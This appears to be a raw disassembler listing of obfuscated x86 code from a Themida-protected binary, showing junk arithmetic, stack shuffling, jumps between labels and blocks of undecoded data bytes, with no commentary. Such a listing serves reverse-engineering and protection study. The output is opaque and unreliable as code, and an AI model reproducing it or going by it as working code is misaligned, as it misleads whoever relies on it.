dup(0FFh) ; --------------------------------------------------------------------------- loc_564836: ; CODE XREF: Themida_:0056DCC8j pop ecx mov ecx, eax pop eax add ebx, ecx pop ecx sub ebx, 4 jmp loc_570DC9 ; --------------------------------------------------------------------------- loc_564848: ; CODE XREF: Themida_:0056B648j xor ecx, 4348149Ah or ecx, 2E2D009Ch add ecx, 91429C27h jmp loc_571DAD ; --------------------------------------------------------------------------- db 52h dd 73318DBAh, 89F2814Ah, 14A7331h, 0EC835AD3h, 24148904h dd 23AEE9h db 0 ; --------------------------------------------------------------------------- loc_564879: ; CODE XREF: Themida_:0056F385j pop ebx add [esp+0Ch], ebp jmp loc_567559 ; --------------------------------------------------------------------------- db 81h dd 2B4EB7E9h, 81F90150h, 2B4EB7C1h, 2434FF50h, 0E389535Fh dd 2549E9h db 0 ; --------------------------------------------------------------------------- loc_56489D: ; CODE XREF: Themida_:00565527j mov [esp], eax push 55C44650h pop eax and eax, 4ADC29FBh add eax, 3AE67C7h dec eax sub eax, 0FFFFFFFFh sub eax, 1BB814EBh xor esi, eax pop eax add esi, 50E17C34h sub esi, 6F1922D7h add esi, 39B4772Ah sub edx, esi jmp loc_5688BF ; --------------------------------------------------------------------------- db 0BAh dd 0DD309F99h, 0FFB7B1E9h, 24048FFFh, 6624248Bh, 8324048Bh dd 0AAE904ECh db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5648F3: ; CODE XREF: Themida_:00562417j add esp, 4 jmp loc_56C140 ; --------------------------------------------------------------------------- loc_5648FB: ; CODE XREF: Themida_:0056EE24j dec edx jmp loc_56B575 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0EAh dd 1E68575Eh, 0DCE9FA29h, 29FFFF9Ah, 190B2DF0h, 34FF6641h dd 0C4815E24h, 4, 5E61E9h db 0 ; --------------------------------------------------------------------------- loc_564925: ; CODE XREF: Themida_:00563F88j mov ebp, [esp] add esp, 4 std push ebp push edi push 73CE1E9Fh mov edi, [esp] add esp, 4 neg edi add edi, 0BB0E718Fh mov ebp, edi mov edi, [esp] add esp, 4 sub ebp, 16277840h push edi jmp loc_56A2AC ; --------------------------------------------------------------------------- loc_564958: ; CODE XREF: Themida_:00567A23j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 3E5D17C9h and esi, 2E0F1F17h jmp loc_561FAA ; --------------------------------------------------------------------------- db 0BAh, 4Dh, 50h dd 0C2810CB4h, 4B69CDBFh, 1AE9D2F7h, 66FFFFECh, 2404BB0Fh dd 0C1DCE99Ch, 0EB80000h, 95A8A58h, 0F38158C3h, 42A11C70h dd 0FFD247E9h db 0FFh ; --------------------------------------------------------------------------- loc_5649A9: ; CODE XREF: Themida_:00567D04j push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], eax mov eax, 4 add ebx, eax pop eax jmp loc_572844 ; --------------------------------------------------------------------------- dd 757BB53h, 0D92972BAh, 1591685Bh, 1C890000h, 0C9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5649DE: ; CODE XREF: Themida_:0056D92Fj push ecx push esp push dword ptr [esp] pop ecx add esp, 4 push ebx jmp loc_56692F ; --------------------------------------------------------------------------- dd 4C5815Bh, 87000000h, 575C242Ch, 56E9E789h, 5D000025h dd 0FFA2F5E9h, 4C281FFh, 81000000h, 4C2h, 1B46E900h, 66640000h dd 0E952028Bh, 0FFFF9D65h, 0A04702B8h, 2444295Bh, 34FF5808h dd 89515E24h, 5F6855E1h, 89000027h, 54BF243Ch, 0BD67183Ch dd 0AA1D7A92h, 3C8BFD29h, 7EB8E924h, 3C8B0000h, 4C48124h dd 55000000h, 0FFB8DEE9h, 48B54FFh, 9D3BE924h, 0BE560000h dd 760A02D0h, 5003E6C1h, 5E3170B8h, 58C6312Ch, 68FFC683h dd 7C3Ch, 0F7243489h, 815E2414h, 262624E6h db 50h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55DBEF ; --------------------------------------------------------------------------- loc_564AA5: ; CODE XREF: Themida_:0056E81Fj add esi, edi pop edi push dword ptr [esp] pop ebx add esp, 4 jmp loc_56EFCC ; --------------------------------------------------------------------------- db 40h dd 502A5805h, 71E99142h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564AC3: ; CODE XREF: Themida_:00561C30j push dword ptr [esp] jmp loc_56BB0C ; --------------------------------------------------------------------------- loc_564ACB: ; CODE XREF: Themida_:0056A04Cj xor eax, 7DAD169Ah add edx, eax jmp loc_56573C ; --------------------------------------------------------------------------- db 1 dd 2EEA81C2h, 0FF083102h, 83582434h, 143304C4h, 24143124h dd 8B241433h, 8B662424h, 0EC832404h, 240C8904h, 8904EC83h dd 4812424h, 424h, 8EACE900h, 0E958FFFFh, 0FFFFFB2Bh, 895AD101h dd 240C8BCEh, 0C104C483h, 0C68108EEh, 5EA202F2h, 5183BB53h dd 0DE214864h, 0B1C6815Bh, 87CAC6F7h, 0CF75E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B3E: ; CODE XREF: Themida_:005703CDj xor [esp], ebp xor ebp, [esp] mov esp, [esp] pop edx sub esp, 4 mov [esp], ecx jmp loc_56DEE8 ; --------------------------------------------------------------------------- db 52h dd 0FF9C48E9h, 24048BFFh, 549168h, 240C8900h, 0C181E189h dd 4, 0E904C183h, 0FFFFF4F8h, 3568D0F7h, 8900005Fh, 14F72404h dd 0B479E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B86: ; CODE XREF: Themida_:0056BF49j dec ebx jmp loc_56D8DF ; --------------------------------------------------------------------------- dd 4C781h, 0E0E90000h, 6600008Eh, 6824048Bh, 4B61h, 56243C89h dd 0C681E689h, 4, 0FF8CC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_564BB1: ; CODE XREF: Themida_:0056F4C1j add eax, esi pop esi sub ebx, eax mov eax, [esp] jmp loc_56A385 ; --------------------------------------------------------------------------- aYs_g db 'YИ.g',0 align 4 dd 81F3015Fh, 7F737DEBh, 1C335E2Dh, 4587E924h, 0EA810000h dd 4, 31241433h, 14332414h, 83E95C24h, 57000038h, 0FFFBD9E9h dd 240489FFh, 0DC7E952h, 815F0000h, 4C4h, 24343300h, 0FFEFBBE9h dd 7BB850FFh, 157C32Dh, 1FEDE9C3h, 8E050000h, 68658D49h dd 4229h, 0BA241489h, 5A1418CDh, 1CAF281h, 0E2815CDBh dd 23AC5F2Ch, 392EA81h, 0E2C1FD03h, 88AE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564C42: ; CODE XREF: Themida_:00568D54j sub esi, 21691F9Fh sub esi, eax add esi, 21691F9Fh add esi, 4CB21933h push ecx mov ecx, 1D74EE7h add esi, 5070C05h sub esi, ecx sub esi, 5070C05h pop ecx add esi, 607B568Ch mov eax, [esp] add esp, 4 jmp loc_563029 ; --------------------------------------------------------------------------- db 4Ah dd 3A80EA81h, 58520971h, 8124148Bh, 4C4h, 531F6800h, 3C890000h dd 40D9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564C9E: ; CODE XREF: Themida_:005697EAj pop eax push 66A6h mov [esp], edi jmp loc_565171 ; --------------------------------------------------------------------------- loc_564CAC: ; CODE XREF: Themida_:00562D92j mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_56916F ; --------------------------------------------------------------------------- dw 0B951h dd 4, 8759CD29h, 895C242Ch, 0EEE9241Ch db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_564CCF: ; CODE XREF: Themida_:005659B2j push edi jmp loc_5617FD ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 5411E958h, 68660000h, 89664FDCh, 8B66243Ch, 0C483242Ch dd 3C8B6602h, 2C48324h, 0FFF131E9h db 0FFh ; --------------------------------------------------------------------------- loc_564CF9: ; CODE XREF: Themida_:0056AAADj mov ebx, 79882CADh jmp loc_565EE1 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2404895Ch, 2851BF57h dd 0E7C1050Fh, 986EE908h, 0ED810000h, 60B6679Dh, 18AEF581h dd 0A5E937DFh, 0F70000A2h, 81DEF7DEh, 625220F6h, 37B9510Bh dd 0E90F6201h, 6A56h, 4240481h, 8F000000h, 4812404h, 424h dd 24048F00h, 5732E9h, 14F75600h, 68575E24h, 4570h, 0BB241C89h dd 65552F6Ch, 41FFEB81h, 0C0E90B05h, 1000075h, 9FC681FEh dd 0E96C0B0Fh, 22DFh ; --------------------------------------------------------------------------- loc_564D90: ; CODE XREF: Themida_:00566D0Aj xor [esp], ecx xor ecx, [esp] pop esp jmp loc_569057 ; --------------------------------------------------------------------------- dd 0A710B9BEh, 29B85037h, 0E9E9B11Ch, 69CDh ; --------------------------------------------------------------------------- loc_564DAC: ; CODE XREF: Themida_:0056DF41j push ebx mov ebx, 49D571CEh push ebp push 4DE9h mov [esp], ecx push 41D702F3h push dword ptr [esp] pop ecx add esp, 4 add ecx, 5106016Fh dec ecx sub ecx, 729AF4E6h jmp loc_56147C ; --------------------------------------------------------------------------- loc_564DDC: ; CODE XREF: Themida_:0056DD2Dj push dword ptr [esp+4] jmp loc_56ECEF ; --------------------------------------------------------------------------- db 80h, 0EDh, 2Ch dd 0FF967FE9h, 0C5C581FFh, 0E90BC98Dh, 7E67h ; --------------------------------------------------------------------------- loc_564DF8: ; CODE XREF: Themida_:0056DAE3j xor eax, 4EF26AB6h push edi push 44B1545Bh jmp loc_55F111 ; --------------------------------------------------------------------------- dd 804BD55h, 0EF014E36h, 5FFA095Dh, 4885B951h, 41E96D0Dh dd 0E9000087h, 0FFFF84C9h, 7C3F2868h, 0EB815B0Dh, 86FFFBEh dd 0E95B5953h, 3597h ; --------------------------------------------------------------------------- loc_564E38: ; CODE XREF: Themida_:0056B7FAj mov esi, [esp] add esp, 4 jmp loc_55E82D ; --------------------------------------------------------------------------- loc_564E43: ; CODE XREF: Themida_:0056A4C5j mov ecx, esi pop esi mov ebx, ecx pop ecx push esi mov esi, 1C986B17h neg esi dec esi sub esi, 0C04E56FCh shl esi, 6 neg esi shr esi, 4 inc esi sub esi, 0E193B53Bh jmp loc_57165B ; --------------------------------------------------------------------------- dd 41D9F75Bh, 2B8EF181h, 0CA897FA3h, 333A6859h, 0C7E90000h dd 81000014h, 6D1FC4F1h, 8BCB01D0h, 0C481240Ch, 4, 685BDA21h dd 572Ch, 0BE243489h, 69B7740Bh, 0BA52DEF7h, 9C63DE94h dd 148BD631h, 4C48124h, 1000000h, 0D526E9F2h, 315EFFFFh dd 0B027E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EC6: ; CODE XREF: Themida_:00569F66j pop esp push ebp jmp loc_569C8A ; --------------------------------------------------------------------------- db 57h, 0BFh, 0CDh dd 10DE86Fh, 0FB015FFBh, 6FCDEB81h, 3C8B0DE8h, 95C0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EE6: ; CODE XREF: Themida_:0056856Dj push 2E70h mov [esp], edx push eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564EF5: ; CODE XREF: Themida_:0056877Dj pop dword ptr [esp] pop esp add eax, 4 xchg eax, [esp] mov esp, [esp] bswap eax push 71D6h jmp loc_55E2FB ; --------------------------------------------------------------------------- dw 5166h dd 51666BB5h, 1FD468h, 241C8900h, 8C99E9h, 8EC38000h, 0FFC0B60Fh dd 34FF8734h, 24048B24h, 1FF1E9h, 24048B00h, 4C481h, 0D0F70000h dd 0DE53EC35h, 0D9C4E959h, 74FFFFFFh, 3C8B0424h, 4C48324h dd 5C24048Fh, 0E9240C89h, 0FFFF838Dh, 0D52490BAh, 5AD38953h dd 0D1D08EBAh, 0E9DA29C4h, 8B95h ; --------------------------------------------------------------------------- loc_564F74: ; CODE XREF: Themida_:0056303Bj mov edi, 4D852F26h add [esp+4], edi push dword ptr [esp] jmp loc_56680E ; --------------------------------------------------------------------------- loc_564F85: ; CODE XREF: Themida_:0055E0A2j add esp, 4 sub eax, 43A067EDh push ebp mov ebp, esp push edi mov edi, 7CA14E37h not edi xor edi, 835EB1CCh jmp loc_560FBB ; --------------------------------------------------------------------------- db 0FFh dd 34FF3C77h, 2434FF24h, 0FFECE0E9h, 0ECBA52FFh, 0C12BBE36h dd 20E906E2h, 81000053h, 4C7h, 2CCFE900h, 51660000h, 5152C4B5h dd 10E9B9B1h, 890000C5h, 5D575AD7h, 5F2434FFh, 7701E957h dd 0AEBD0000h, 31203274h, 0E6815DEEh, 42D92EC9h, 0FFFD3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564FF9: ; CODE XREF: Themida_:00565079j mov ch, ah push ebx mov bh, dl jmp loc_55D317 ; --------------------------------------------------------------------------- db 66h dd 4A04E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56500A: ; CODE XREF: Themida_:0056A148j push esp pop ebp push edx sub esp, 4 mov [esp], edi push ebp jmp loc_572122 ; --------------------------------------------------------------------------- loc_56501C: ; CODE XREF: Themida_:005717EDj add [esp+4], ebp add dword ptr [esp+4], 2F855D9h add dword ptr [esp+4], 57E0698Bh sub dword ptr [esp+4], 5E9275A9h mov ebp, [esp] push edx mov edx, esp jmp loc_562331 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 0FFC00FE9h, 8DC281FFh, 0E9C07E38h, 2D9Fh ; --------------------------------------------------------------------------- loc_56505C: ; CODE XREF: Themida_:0055D53Ej add esp, 4 sub esp, 4 mov [esp], edx jmp loc_56A039 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h aLSQ db '▀$$ИЛ÷',0 align 4 loc_565078: ; CODE XREF: Themida_:0056D32Cj push ecx jmp loc_564FF9 ; --------------------------------------------------------------------------- loc_56507E: ; CODE XREF: Themida_:005728A6j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp jmp loc_56EABA ; --------------------------------------------------------------------------- loc_565091: ; CODE XREF: Themida_:00571BE1j inc edi xor edi, 0DEE5786h sub edi, 6C0034B6h jmp loc_5674E3 ; --------------------------------------------------------------------------- loc_5650A3: ; CODE XREF: Themida_:00562441j xchg edi, [esp] mov esp, [esp] push 4F80h mov [esp], edi push ebp push edx jmp loc_56F2F1 ; --------------------------------------------------------------------------- loc_5650B8: ; CODE XREF: Themida_:0056D9BAj xor esi, 0B990052h xor esi, 49EBA31Dh xor ebp, esi pop esi sub esp, 4 jmp loc_567FE4 ; --------------------------------------------------------------------------- aS_8 db ']И&*',0 align 4 dd 0E9E18951h, 0FFFF9DE6h, 582434FFh, 18A968h, 42FEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5650EE: ; CODE XREF: Themida_:0055FF4Fj pop eax mov ebx, [esp] jmp loc_563C37 ; --------------------------------------------------------------------------- db 81h dd 0E1768FC9h, 0C9B8E94Eh, 8B66FFFFh, 9F682404h, 0E9000038h dd 58CFh, 9300E95Ah, 0C4830000h, 0B629E904h, 0C166FFFFh dd 816608E3h, 661535C3h, 0DE9DE29h, 83FFFFCCh, 53E904C4h dd 570000B1h, 0D0E9E789h db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56513F: ; CODE XREF: Themida_:00566B80j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 6B14h mov [esp], esi mov esi, 33083381h push eax mov eax, 0 sub eax, esi mov esi, eax jmp loc_569BE2 ; --------------------------------------------------------------------------- aSm db '╡;И╛╨',0 db 0 ; --------------------------------------------------------------------------- loc_565171: ; CODE XREF: Themida_:00564CA7j push 37CE4DF2h pop edi sub edi, 4095093Dh neg edi sub edi, 8C6BB47h jmp loc_56C225 ; --------------------------------------------------------------------------- dw 4666h dd 5E6C166h, 24F68166h, 585FE92Bh, 89660000h, 50662414h dd 8147E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5651A6: ; CODE XREF: Themida_:0055DEC6j push edx mov edx, 20h add edx, edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_570567 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 243C8700h, 8621E9h db 0 ; --------------------------------------------------------------------------- loc_5651D9: ; CODE XREF: Themida_:005717ABj xor edx, esi pop esi add ebp, edx jmp loc_56547E ; --------------------------------------------------------------------------- loc_5651E3: ; CODE XREF: Themida_:00572A53j add ecx, 70CF1E38h pop esi mov esi, ecx mov ecx, [esp] push ecx jmp loc_55E1A0 ; --------------------------------------------------------------------------- db 1, 0C3h, 81h dd 814D51EBh, 24048B17h, 5604C483h, 2BEh, 53BF5700h, 0E9373357h dd 9962h, 401668h, 24348900h, 15EC68h, 240C8900h, 4EC81h dd 4890000h, 1EF7B824h, 0C18977F6h, 0FF94A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_565239: ; CODE XREF: Themida_:0055F333j add esp, 4 push esi push esp pop esi push edi mov edi, 4 add esi, edi pop edi jmp loc_5606D8 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 13E95B04h db 3 dup(0) ; --------------------------------------------------------------------------- loc_565257: ; CODE XREF: Themida_:0055D875j shr edi, 1 shr edi, 8 add edi, 0CEEDE517h sub ecx, edi pop edi jmp loc_56B8C5 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 68C8B70Fh, 22F3h, 0E9240C89h, 0FFFF806Dh ; --------------------------------------------------------------------------- loc_565280: ; CODE XREF: Themida_:00560B25j xchg edi, [esp] pop esp jmp loc_560FA7 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0F2h dd 2976334Ch, 1746E9F8h, 0FF660000h, 0E99C240Ch, 0FFFF804Dh dd 4EC81h, 14890000h, 96B9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5652AE: ; CODE XREF: Themida_:00571DC4j mov eax, 695343A2h mov ebp, eax pop eax jmp loc_5642AF ; --------------------------------------------------------------------------- db 89h dd 0EC81241Ch, 4, 0B8240489h, 7F696B02h, 324CE9h, 0E9E23000h dd 0FFFFDBABh, 0C468E589h, 0E9000042h, 822Bh ; --------------------------------------------------------------------------- loc_5652E4: ; CODE XREF: Themida_:00570CDFj pop esp sub esp, 4 mov [esp], edi push ebp push 39DA4785h mov ebp, [esp] push 1178h mov [esp], edx mov edx, esp push esi mov esi, 76A3CF4h and esi, 1AD1D6Ah or esi, 184D1D87h shr esi, 2 add esi, 7882351Ch neg esi sub esi, 81228367h add edx, esi pop esi push edi mov edi, 43FC51AFh dec edi sub edi, 0FFFFFFFFh sub edi, 43FC51ABh add edx, edi jmp loc_56DDC6 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 875EE900h, 48FFFFFh, 24248B24h, 0E9028864h, 17D2h ; --------------------------------------------------------------------------- loc_565354: ; CODE XREF: Themida_:005622C3j push ecx mov ecx, 0 add ecx, ebx add dword ptr [ecx], 1 pop ecx push dword ptr [esp] pop ebx jmp loc_567AC9 ; --------------------------------------------------------------------------- loc_56536C: ; CODE XREF: Themida_:00563ABDj and eax, edx mov edx, [esp] push 7D50h mov [esp], ecx push esp pop ecx push edi mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 jmp loc_56AF37 ; --------------------------------------------------------------------------- aLI4Ich1 db '▀$$┴4$┴Фh',9,'1',0 dw 8900h dd 6853242Ch, 478430CBh, 0D20FE9h, 243C8900h, 4BFh, 0B3A9E900h dd 0C281FFFFh, 4F305229h, 5C33E281h, 0EAC17F02h, 13F28105h dd 812B6505h, 0B835C4F2h, 0EEB85038h, 1EC0ACDh, 0D68958C2h dd 0F0C3815Ah, 1699819h, 5D83E9F3h, 0C4830000h, 99BF5704h dd 0C16CF150h, 0DFF707E7h, 4708EFC1h, 0FFC8BE56h, 39E9E20Ah dd 31FFFFC6h, 34332434h, 14895C24h, 2474FF24h, 48F5A04h dd 24248B24h, 66F1F766h, 66326368h, 66241489h, 0BEE99C50h dd 0BFFFFF7Eh, 57296A13h, 84D4E9h, 80CAFE00h, 0D70011EAh dd 0FFEB6EE9h, 242C8BFFh, 81E18951h, 4C1h, 41956800h, 34890000h dd 4A72BE24h, 94E95CDCh, 81FFFF82h, 7254BEEDh, 81CD015Bh dd 7254BEC5h, 81F9E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_565476: ; CODE XREF: Themida_:0056CA7Dj pop edi sub ecx, esi jmp loc_56D8ED ; --------------------------------------------------------------------------- loc_56547E: ; CODE XREF: Themida_:005651DEj mov edx, [esp] jmp loc_55D3B1 ; --------------------------------------------------------------------------- loc_565486: ; CODE XREF: Themida_:0055F88Ej xor eax, edi pop edi mov esi, eax pop eax sub ecx, esi pop esi xor eax, ecx pop ecx push edi push edx push 7EB87E6Ah pop edx jmp loc_56D662 ; --------------------------------------------------------------------------- loc_56549F: ; CODE XREF: Themida_:00572B03j sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx push eax push 5FBCh mov [esp], esi jmp loc_56D2ED ; --------------------------------------------------------------------------- db 5Ah dd 0FFA1F0E9h, 0E9CD21FFh, 0FFFFE44Fh, 12ECBD55h, 0F581064Fh dd 76DB270Eh, 8102EDC1h, 0FE1660F5h, 5DEA2901h, 54C6CA81h dd 0BE5636A5h, 24C932EBh, 8DE2E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5654F6: ; CODE XREF: Themida_:0056A51Bj add edx, edi sub edx, 5652542Bh jmp loc_56A0DB ; --------------------------------------------------------------------------- db 88h dd 24448AC2h, 99AE902h, 0CF000000h, 0DDE95059h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565517: ; CODE XREF: Themida_:005607F5j sub esp, 4 mov [esp], esi mov esi, 35696A54h push 3BF4h jmp loc_56489D ; --------------------------------------------------------------------------- dd 4C481h, 1C870000h, 0FEE95C24h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56553B: ; CODE XREF: Themida_:0056C8D2j add esp, 4 shl eax, cl push 4B9h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_56E9BA ; --------------------------------------------------------------------------- dd 8124348Bh, 4ECh, 240C8900h, 0C181E189h, 4, 55BDE9h dd 8CE95200h, 81FFFF81h, 4C7h, 243C3300h, 33243C31h, 685C243Ch dd 4566h, 68243C89h, 4606h, 52242489h, 4BAh, 24540100h dd 0E5E95A04h, 81FFFFD1h, 1B4222EEh, 988FE92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5655BA: ; CODE XREF: Themida_:00562348j add ebx, ebp pop ebp jmp loc_56C5FC ; --------------------------------------------------------------------------- dw 489h dd 0EA06E924h, 0D300FFFFh, 0E97C045Ah, 7ADEh, 4FF76866h dd 7616866h, 0CDE95466h, 66FFFF95h, 5024048Bh, 405E089h dd 0E9000000h, 0FFFFC641h ; --------------------------------------------------------------------------- loc_5655F4: ; CODE XREF: Themida_:0056B97Cj add ebp, ebx pop ebx jmp loc_565E2D ; --------------------------------------------------------------------------- dd 8904EC83h, 0FCE92414h, 10000B2h, 96EFE9D9h, 0D5290000h dd 0D01EE9h, 0C316600h, 0C336624h, 0DD95E924h, 3C8BFFFFh dd 4C48324h, 0E958C729h, 8839h, 0B4D2E952h, 0FD890000h dd 5F5DEB89h, 4359CB31h, 8107E3C1h, 41DB04C3h, 0E9D82934h dd 7139h, 49F28166h, 92E9575Dh, 29000034h, 6EC381D3h, 0E954AC63h dd 0C836h, 0E0C1D0F7h, 3F6F0502h, 1F050AEEh, 0E9AEFE4Fh dd 0FFFFCD60h, 0B060F5BBh, 0CB814B06h, 5B3223F5h, 4163F381h dd 0E9816E1Ch, 693C4F11h, 726DC181h, 0D9014790h, 726DE981h dd 0C1814790h, 693C4F11h, 0FCE1815Bh, 0E975AE34h, 2906h dd 6624248Bh, 0E9240489h, 0FFFF7C2Dh, 0B0E9CA29h, 0BD0000A4h dd 326849F2h, 388EBA52h, 37E914B8h, 0C1FFFFADh, 700505E8h dd 0E930C70Eh, 6634h, 33241C31h, 248B241Ch, 4EC8324h, 89241C89h dd 668E9E3h, 0F5810000h, 103999h, 34FFE821h, 769FE924h dd 2C890000h, 2BD24h, 68520000h, 658Bh, 0E9243C89h, 0FFFFFE59h dd 0D5F7E5D1h, 0FFB7E2E9h, 0F02958FFh, 8324348Bh, 0EC2D04C4h dd 0E9016411h, 0FFFFBA36h ; --------------------------------------------------------------------------- loc_56573C: ; CODE XREF: Themida_:00564AD2j mov eax, [esp] add esp, 4 xchg edx, [esp] pop esp pop dword ptr [eax] xor dword ptr [eax], 74767612h jmp loc_55D2ED ; --------------------------------------------------------------------------- a4Xhi db '4',0Dh,'(цXh╘<',0 dd 24048900h, 0EC802AB4h, 58E328A9h, 0C380CB28h, 0F6C38081h dd 0E92434FFh, 0FFFFA639h ; --------------------------------------------------------------------------- loc_565778: ; CODE XREF: Themida_:005625DCj pop ecx xchg ebp, [esp] pop esp jmp loc_56E05D ; --------------------------------------------------------------------------- loc_565782: ; CODE XREF: Themida_:00563A4Cj or edi, eax mov eax, [esp] add esp, 4 push 7E02h mov [esp], edx mov edx, 7AF36A8Fh add edx, 0FA000C50h jmp loc_56F22C ; --------------------------------------------------------------------------- loc_5657A2: ; CODE XREF: Themida_:00562044j push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, 2A163319h or ebx, 60F445EFh shr ebx, 8 sub ebx, 16FA1700h xor ebx, 168F2088h add eax, ebx pop ebx add eax, 0F8013E21h sub esi, eax jmp loc_568627 ; --------------------------------------------------------------------------- db 89h dd 0C8B1240Ch, 0E980E1D0h, 0E8B652FFh, 80F2CE80h, 0E6D08CEEh dd 2841F680h, 7E49E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5657F2: ; CODE XREF: Themida_:00560C43j pop edi jmp loc_56E430 ; --------------------------------------------------------------------------- loc_5657F8: ; CODE XREF: Themida_:0056D11Cj mov esp, [esp] push dword ptr [esp] mov ebx, [esp] jmp loc_56589C ; --------------------------------------------------------------------------- dw 0EDC1h dd 0F6ED8102h, 815FA655h, 2D8E07F5h, 0EEF3E9D4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56581A: ; CODE XREF: Themida_:0056A1B8j mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55F77C ; --------------------------------------------------------------------------- dd 24048F5Bh, 42F268h, 240C8900h, 4B9h, 24448100h, 2C615A04h dd 2444816Ch, 0AF1E8904h, 244C015Eh, 4C16E904h, 0A3350000h dd 0D1613D46h, 7D7305E0h, 484075ACh, 0D81BE56h, 0DEF72FE7h dd 0D6F7D6F7h, 2CB4F681h, 0F0313CD8h, 0FFC7015Eh db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55DF0D ; --------------------------------------------------------------------------- loc_56589C: ; CODE XREF: Themida_:00565801j add esp, 4 jmp loc_55F709 ; --------------------------------------------------------------------------- loc_5658A7: ; CODE XREF: Themida_:00565CC8j add esp, 4 push ebx push eax mov eax, 6BB91089h mov ebx, 1CC66EE6h jmp loc_56119C ; --------------------------------------------------------------------------- db 1 aXzLQ db 'гX┤<$▀$$(цQ╠|',0 dw 59CBh dd 0FE5EB80h, 6866C0B6h, 89662135h, 0EE92404h, 0C1FFFF7Ah dd 310D05E0h, 0E95B5929h, 67B2h, 5204C483h, 0BF57E289h dd 4, 5B71E9h, 0FFFD2800h, 815B2434h, 4C4h, 91ED8000h dd 80A2E580h, 0DDF664CDh, 3060ED80h, 56D4E9EFh, 0EA810000h dd 769D3BC6h, 0F170F281h, 0D731C5E7h, 80B9515Ah, 52127A26h dd 873EE2BAh, 3E28171h, 0F706D37Ah, 814242DAh, 8D62DFC2h dd 5AD1214Bh, 0E9C1D1F7h, 0E9D9F708h, 28A5h, 0DF1E64BEh dd 51C68168h, 81534617h, 51A5EEh, 81DEF751h, 0F9EF3EEEh dd 57C2815Dh, 2902E344h, 0B958E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56597E: ; CODE XREF: Themida_:005685E4j mov dx, [esp] push 3F4Ah jmp loc_5611C9 ; --------------------------------------------------------------------------- dd 0EC83EA89h, 0C75FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565996: ; CODE XREF: Themida_:0056E3D7j mov edi, 0DA44F2Eh neg edi sub edi, 3C110531h neg edi or edi, 15033B8Fh add edi, 113C9424h push eax jmp loc_564CCF ; --------------------------------------------------------------------------- db 0F7h aTSF db 'раБ',8,'И(F',0 dd 88B6B600h, 1B27E9F4h, 0E9B70000h, 0C9968h, 240C8900h dd 8B65E9h db 0 ; --------------------------------------------------------------------------- loc_5659D9: ; CODE XREF: Themida_:00567FECj pop eax xor ebp, eax jmp loc_55F02B ; --------------------------------------------------------------------------- loc_5659E1: ; CODE XREF: Themida_:0055DF90j or esi, 1FA57953h and esi, 48D1595Dh or esi, 57BC48BBh jmp loc_56209D ; --------------------------------------------------------------------------- loc_5659F8: ; CODE XREF: Themida_:00561807j add esp, 4 jmp loc_56F3FE ; --------------------------------------------------------------------------- loc_565A00: ; CODE XREF: Themida_:0057252Cj mov [esp], cx push eax mov ah, 0EDh add ah, 38h mov cl, ah jmp loc_569B09 ; --------------------------------------------------------------------------- loc_565A11: ; CODE XREF: Themida_:0056465Ej not dword ptr [esp] pop ebp add ebp, 74971B96h jmp loc_56F6AF ; --------------------------------------------------------------------------- dd 8264AFBDh, 0AAF5814Fh, 891AC33Fh, 0C3295DE8h, 242C8B58h dd 4C481h, 5C010000h, 1C8B0424h, 4C48124h, 8B000000h, 0C481242Ch dd 4, 0FFD70AE9h db 0FFh ; 